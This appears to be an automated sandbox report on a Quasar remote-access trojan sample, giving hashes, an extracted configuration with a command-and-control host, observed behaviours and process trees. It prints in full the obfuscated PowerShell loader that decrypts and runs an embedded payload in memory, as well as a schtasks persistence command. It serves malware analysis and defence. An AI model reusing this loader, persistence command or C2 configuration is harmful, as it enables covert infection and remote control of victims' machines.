quasar | f975a314f9f0ac6527acf5098bd0c9ce8800c05b83ce3c5af01c1cb8e3bbbd5b

Analysis

max time kernel
146s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
24-06-2024 23:07

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General

Target

Uni.bat
Size

253KB
MD5

6116316574a1311a2e768ef21255430d
SHA1

684dec7251dbacf3e3b5a3cac0492df268f7f9a3
SHA256

f975a314f9f0ac6527acf5098bd0c9ce8800c05b83ce3c5af01c1cb8e3bbbd5b
SHA512

daf318e0dde57bf13b2b30bdff1556749caf3ebda2cffd5ead57c2c998aae763214226121f02996d48bcea54d53b9c2c352c21a8638b0d42f36c8f41896be2f2
SSDEEP

3072:PfaskbNKw91ey00VTUsMHdJmMQ5C6QCf8qb/qV3/PJHnigpqoineD/QrM47f9Jms:nef9NVbkd5UzZfYh6n7P7KK2X78EM

Score

10^/10

quasar office04 spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.0.1

Botnet

Office04

wireless-boston.gl.at.ply.gg:41366

Mutex

QSR_MUTEX_W1ckGYHOGswdBegmKd

Attributes

encryption_key
QbY1WN4Surh1trMXzt97
install_name
system.exe
log_directory
Logs
reconnect_delay
3000
startup_key
system
subdirectory
SubDir

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar payload 1 IoCs

Processes:

resource yara_rule

behavioral3/memory/4792-19-0x000001D439E80000-0x000001D439EDE000-memory.dmp family_quasar
Executes dropped EXE 2 IoCs

Processes:

Uni.bat.exesystem.exe

pid process

4792 Uni.bat.exe
1076 system.exe
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com
7 api.ipify.org
Drops file in System32 directory 2 IoCs

Processes:

Uni.bat.exe

description ioc process

File created C:\Windows\SysWOW64\SubDir\system.exe Uni.bat.exe
File opened for modification C:\Windows\SysWOW64\SubDir\system.exe Uni.bat.exe
Runs net.exe
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1908 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

Uni.bat.exesystem.exe

pid process

4792 Uni.bat.exe
4792 Uni.bat.exe
1076 system.exe
1076 system.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Uni.bat.exesystem.exe

description pid process

Token: SeDebugPrivilege 4792 Uni.bat.exe
Token: SeDebugPrivilege 1076 system.exe

resource	yara_rule
behavioral3/memory/4792-19-0x000001D439E80000-0x000001D439EDE000-memory.dmp	family_quasar

pid	process
4792	Uni.bat.exe
1076	system.exe

flow	ioc
1	ip-api.com
7	api.ipify.org

description	ioc	process
File created	C:\Windows\SysWOW64\SubDir\system.exe	Uni.bat.exe
File opened for modification	C:\Windows\SysWOW64\SubDir\system.exe	Uni.bat.exe

pid	process
1908	schtasks.exe

pid	process
4792	Uni.bat.exe
4792	Uni.bat.exe
1076	system.exe
1076	system.exe

description	pid	process
Token: SeDebugPrivilege	4792	Uni.bat.exe
Token: SeDebugPrivilege	1076	system.exe

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

cmd.exenet.exeUni.bat.exe

description	pid	process	target process
PID 3324 wrote to memory of 3852	3324	cmd.exe	net.exe
PID 3324 wrote to memory of 3852	3324	cmd.exe	net.exe
PID 3852 wrote to memory of 3928	3852	net.exe	net1.exe
PID 3852 wrote to memory of 3928	3852	net.exe	net1.exe
PID 3324 wrote to memory of 4792	3324	cmd.exe	Uni.bat.exe
PID 3324 wrote to memory of 4792	3324	cmd.exe	Uni.bat.exe
PID 4792 wrote to memory of 1908	4792	Uni.bat.exe	schtasks.exe
PID 4792 wrote to memory of 1908	4792	Uni.bat.exe	schtasks.exe
PID 4792 wrote to memory of 1076	4792	Uni.bat.exe	system.exe
PID 4792 wrote to memory of 1076	4792	Uni.bat.exe	system.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Uni.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3324

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:3852

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:3928

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
"Uni.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $LUjXk = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Uni.bat').Split([Environment]::NewLine);foreach ($pfSAb in $LUjXk) { if ($pfSAb.StartsWith(':: ')) { $ysrPJ = $pfSAb.Substring(3); break; }; };$ydMoK = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ysrPJ);$QmOjg = New-Object System.Security.Cryptography.AesManaged;$QmOjg.Mode = [System.Security.Cryptography.CipherMode]::CBC;$QmOjg.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$QmOjg.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8JDdwdCN8f9GIQeixAyEv80OWR2XU9cSTyINtWtC9E=');$QmOjg.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZMxKZ063xFXq46C7vuYyiQ==');$FoDTE = $QmOjg.CreateDecryptor();$ydMoK = $FoDTE.TransformFinalBlock($ydMoK, 0, $ydMoK.Length);$FoDTE.Dispose();$QmOjg.Dispose();$bzYHg = New-Object System.IO.MemoryStream(, $ydMoK);$EACsF = New-Object System.IO.MemoryStream;$cWBZp = New-Object System.IO.Compression.GZipStream($bzYHg, [IO.Compression.CompressionMode]::Decompress);$cWBZp.CopyTo($EACsF);$cWBZp.Dispose();$bzYHg.Dispose();$EACsF.Dispose();$ydMoK = $EACsF.ToArray();$fFqIs = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ydMoK);$sWumU = $fFqIs.EntryPoint;$sWumU.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4792

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "system" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe" /rl HIGHEST /f
3⤵
- Scheduled Task/Job: Scheduled Task
PID:1908

C:\Windows\SysWOW64\SubDir\system.exe
"C:\Windows\SysWOW64\SubDir\system.exe"
3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1076

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads

C:\Users\Admin\AppData\Local\Temp\Uni.bat.exe
Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wcdy5t4z.kot.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1076-36-0x0000029E53A40000-0x0000029E53A86000-memory.dmp

Filesize
280KB

Download
memory/4792-16-0x00007FF8E5AD0000-0x00007FF8E6592000-memory.dmp

Filesize
10.8MB

Download
memory/4792-14-0x00007FF8E5AD0000-0x00007FF8E6592000-memory.dmp

Filesize
10.8MB

Download
memory/4792-15-0x00007FF8E5AD0000-0x00007FF8E6592000-memory.dmp

Filesize
10.8MB

Download
memory/4792-7-0x000001D439B80000-0x000001D439BA2000-memory.dmp

Filesize
136KB

Download
memory/4792-17-0x000001D439DF0000-0x000001D439E24000-memory.dmp

Filesize
208KB

Download
memory/4792-19-0x000001D439E80000-0x000001D439EDE000-memory.dmp

Filesize
376KB

Download
memory/4792-20-0x000001D43A640000-0x000001D43A652000-memory.dmp

Filesize
72KB

Download
memory/4792-21-0x00007FF8E5AD3000-0x00007FF8E5AD5000-memory.dmp

Filesize
8KB

Download
memory/4792-22-0x00007FF8E5AD0000-0x00007FF8E6592000-memory.dmp

Filesize
10.8MB

Download
memory/4792-4-0x00007FF8E5AD3000-0x00007FF8E5AD5000-memory.dmp

Filesize
8KB

Download
memory/4792-37-0x00007FF8E5AD0000-0x00007FF8E6592000-memory.dmp

Filesize
10.8MB

Download